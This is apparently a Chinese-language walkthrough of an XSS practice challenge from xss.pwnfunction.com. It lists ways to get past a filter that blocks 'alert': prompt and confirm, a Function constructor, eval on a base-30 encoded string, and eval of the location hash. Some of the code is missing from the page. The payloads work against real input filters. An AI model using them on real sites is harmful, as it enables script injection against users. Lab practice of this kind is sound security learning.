目录
靶场练习地址:https://xss.pwnfunction.com/
靶场练习地址:https://xss.pwnfunction.com/
题目源码:
代码分析:
那么,最简单的绕过就是:
payload:prompt(1337);
payload:confirm(1337);
如果上面的行不通我们可以使用以下方法来解决:
方法一:匿名函数
var add = new Function(
'x',
'y',
'return x*y'
);
等同于
function add(x,y){
return x*y;
}
如何执行:
因为JavaScript是严格区分大小写的,所以我们可以将大写的ALERT转为小写然后执行:
ok,执行成功!!!
方法二:使用eval函数绕过限制
这里用到了js中的一个函数:
示例:
所以将alert转化成30进制
注:转为tostring方法中间为..
eval(8680439..toString(30))(1337)
ok,成功弹窗!
方法三:利用hash绕过
var url = document.createElement('a');
url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container';
console.log(url.href); // https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container
console.log(url.protocol); // https:
console.log(url.host); // developer.mozilla.org
console.log(url.hostname); // developer.mozilla.org
console.log(url.port); // (blank - https assumes port 443)
console.log(url.pathname); // /en-US/search
console.log(url.search); // ?q=URL
console.log(url.hash); // #search-results-close-container
console.log(url.origin); // https://developer.mozilla.org
eval(location.hash.slice(1))#alert(1337)
ok,完成!!!
以上就是目前我知道的所有方法。